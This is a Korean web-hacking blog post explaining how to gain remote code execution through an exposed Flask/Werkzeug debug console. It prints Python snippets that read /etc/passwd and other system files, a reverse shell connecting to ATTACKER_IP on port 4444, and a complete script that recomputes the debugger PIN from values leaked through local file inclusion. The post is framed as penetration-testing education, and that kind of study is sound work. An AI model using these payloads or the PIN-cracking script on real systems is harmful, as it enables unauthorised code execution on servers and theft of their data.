Flask Debugger (Console Mode) Vulnerabilities

2025. 5. 13. 23:12·Web/Web Hacking Techniques

Flask Debugger 활성화시 발생할 수 있는 위험은?

Flask사용시 디버그 모드(Debug Mode)는 개발 편의를 위해 사용되지만, productioon환경에서 활성화가 되면 심각한 보안 취약점이 발생한다. 이를 악의적인 사용자가 악용할 경우 브라우저에서 임의의 파이썬 코드를 실행할 수 있으며 PIN 보호 또한 신뢰할 수 없다.

이를 통해 취약한 Falsk의 디버그 콘솔(/console)을 통해 원격 코드 실행(RCE)이 가능하다.

보통, Falsk 디버그 모드가 활성화 될 경우, 애플리케이션 실행 중 오류가 발생하게 되면 브라우저에 디버거 UI가 표시된다.

이 때 /console 경로 혹은 코드 오른쪽의 터미널 아이콘을 눌러 콘솔을 실행시킬 수 있다.

Flask 디버거 콘솔에서의 RCE 메커니즘

Debugger Console은 내부적으로 파이썬 인터프리터를 구동하여 입력된 코드를 실행하게 된다.

공격자는 인터페이스를 통해 파이썬 코드를 실행시킬 수 있으며, 해당 코드는 서버 프로세스의 권한으로 실행되게 된다.

import os
print(os.popen("cat /etc/passwd").read())

import subprocess
output = subprocess.check_output(["cat", "/etc/hosts"]).decode()
print(output)

import subprocess
p = subprocess.Popen(["ls", "-al", "/var/www"], stdout=subprocess.PIPE)
out, err = p.communicate()
print(out.decode())

import socket,subprocess,os
s=socket.socket();s.connect(("ATTACKER_IP",4444))
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])

위 코드와 같이 디버거 콘솔에서는 파이썬 코드만 입력하면 운영체제 수준의 명령이 수행되므로, 사실상 임의 코드 실행이 가능하다.

PIN 보호 우회 및 생성방식

Werkzeug?

Flask는 내부적으로 웹 요청을 처리하고 응답을 반환하기 위해 Werkzeug를 사용한다.

개발 중 디버거 모드를 활성화하면, 애플리케이션에서 오류가 발생했을 때 인터랙티브 디버거 콘솔을 웹에서 보여주게 되는데. 이는 Flask 자체가 아니라 Werkzeug의 DebuggedApplication 클래스에서 제공한다. 즉, Flask의 디버거는 사실상 Werkzeug디버거이다.

Werkzeug 디버거는 콘솔 접근을 위해 PIN 보호를 사용한다.

그러나 PIN은 미리 알려진 알고리즘으로 생성되거나 환경변수를 통해 우회할 수 있다.

 

Werkzeuge의 get_pin_and_cookie_name(app) 함수를 확인하게 되면 PIN은 아래와 같은 필요 값들을 통해 해시하여 생성한다.

  • 공개 비트(Probably_public_bits)
    • username : Flask 앱을 실행한 OS 사용자명
    • modname : flask.app (애플리케이션 모듈명)
    • getattr(app, '__name__', getattr(app.__class__, '__name__'))  : 보통 'Flask' (애플리케이션 클래스명)
    • getattr(mod, '__file__', None)  : Flask 라이브러리의 app.py 파일 경로 (ex. /usr/local/lib/python3.X/dist-packages/flask/app.py)
  • 비공개 비트(private_bits)
    • str(uuid.getnode()) : 서버 머신의 MAC 주소 (10진수 정수형으로 변환)
    • get)machine_id() : /etc/machine-id 혹은 /proc/sys/kernel/random/boot_id의 값과 /proc/self/cgroup의 컨테이너 ID
      • /etc/machine-id 값 뒤에 이어서 /proc/self/cgroup값을 붙여주면 됨

이러한 정보들을 순서대로 연결하여, 다양한 해시알고리즘(Werkzeug <2.0  일 경우MD5 이상일 경우 sha-1)을 사용하여 'cookiesalt', 'pinsalt'를 추가로 해시화 하여 9자리 숫자를 생성한다. 이러한 비트 조합을 해시하면 PIN 번호를 획득할 수 있다.

 

즉, 해당 웹 시스템에 LFI 취약점이 존재할 경우 위의 설정값들을 각각의 필요 파일에서 획득하여 PIN 번호를 Leak 할 수 있게 된다.

필요한 값 설명 및 파일/환경 경로
username(사용자 이름) Flask를 실행한 OS 사용자
modname(모듈명) 애플리케이션 모듈명 (일반적으로 flask.app)
app.__name__ (앱 이름) 애플리케이션 클래스명 (일반적으로 Flask)
Flask 모듈 파일 경류 Flask 패키지의 app.py 경로
( /usr/local/lib/python3.X/dist-packages/flask/app.py)
MAC 주소 서버 NIC의 MAC주소를 10진수(정수)로 표현한 
Machine ID  /etc/machine-id 또는 /proc/sys/kernel/random/boot_id의 값과 /proc/self/cgroup의 컨테이너 ID 결합

PIN Leak

/usr/local/lib/python3.8/site-packages/werkzeug/debug/__init__.py

Debugger PIN을 생성하는 코드는 Python마다 다르겠지만 3.8의 경우 위 경로에서 확인할 수 있으며, __init__.py 파일에 존재한다. 해당 파일을 LFI 취약점과 연계하여 확인하게 되면, 파이썬 코드 중 probably_public_bits 함수와 private_bits 함수가 존재한다. 이 두 함수를 확인하면 두 함수의 값들이 존재해야지 Debugger PIN을 구할 수 있다.

이 외에 다양한 필요 값들은 위 표에 존재하는 경로에서 확인이 가능하다.

probably_public_bits = [
    username,
    modname,
    getattr(app, '__name__', getattr(app.__class__, '__name__')),
    getattr(mod, '__file__', None),
]

private_bits = [
    str(uuid.getnode()),
    get_machine_id(),
]

PIN 생성 코드

import hashlib
from itertools import chain
probably_public_bits = [
    'username',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
    '279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
    b'd4e6cb65d59544f3331ea0425dc555a1libpod-26140a85ed8daa7f942834f17c758747be4182c29a2733af44dd153708873446'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

위 코드는 Debugger PIN을 생성하는 코드이다.

해당 코드를 사용하면 PIN 번호가 생성되며, 이전  __init__.py 파일에서 확인 했듯 probably_public_bits 와 private_bits 의 값들을 알맞게 추가 수정해주면 된다.

 

 

 


참고자료
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/werkzeug.html#:~:text=,it%20into%20a%20decimal%20format
https://flask.palletsprojects.com/en/stable/debugging/
저작자표시 (새창열림)

'Web > Web Hacking Techniques' 카테고리의 다른 글

Apache CouchDB (CouchDB Injection)  (0) 2025.05.15
DOM Clobbering  (0) 2025.05.14
브라우저의 URL 정규화 방식(Proxy Tool Bypass)  (0) 2025.05.13
Servcer Side Requests Forgery (SSRF)  (1) 2025.05.07
Encoding Obfuscation  (0) 2025.05.07
'Web/Web Hacking Techniques' 카테고리의 다른 글
  • Apache CouchDB (CouchDB Injection)
  • DOM Clobbering
  • 브라우저의 URL 정규화 방식(Proxy Tool Bypass)
  • Servcer Side Requests Forgery (SSRF)
g2h
g2h
  • g2h
    감자 텃밭
    g2h
  • 전체
    오늘
    어제
    • 분류 전체보기 (146) N
      • Network (4)
      • Web (32) N
        • Web Hacking Techniques (32) N
      • System (32)
        • Tips (11)
        • System Hacking Techniques (21)
      • Pentest (14)
        • Pentest (14)
      • WriteUP (47)
        • sec (0)
      • 도구|Tools (12)
      • Security Issue (3)
      • 1-Day-Analysis (1)
      • 한줄보안 (1) N
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    내부침투
    스캔
    DoM
    XSS
    CTF
    Los
    SQL Injection
    권한상승
    침투테스트
    dom based xss
    Encoding
    스캐닝
    NOSQL
    취약점 스캔
    cross side script
    해킹도구
    sql
    web hacking
    nosql injection
    Csp
    Hacking
    해킹
    vulnability
    skt 해킹
    모의해킹
    해킹툴
    Metasploit
    Kioptrix
    load of sqlinjection
    취약점
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
g2h
Flask Debugger (Console Mode) Vulnerabilities
상단으로

티스토리툴바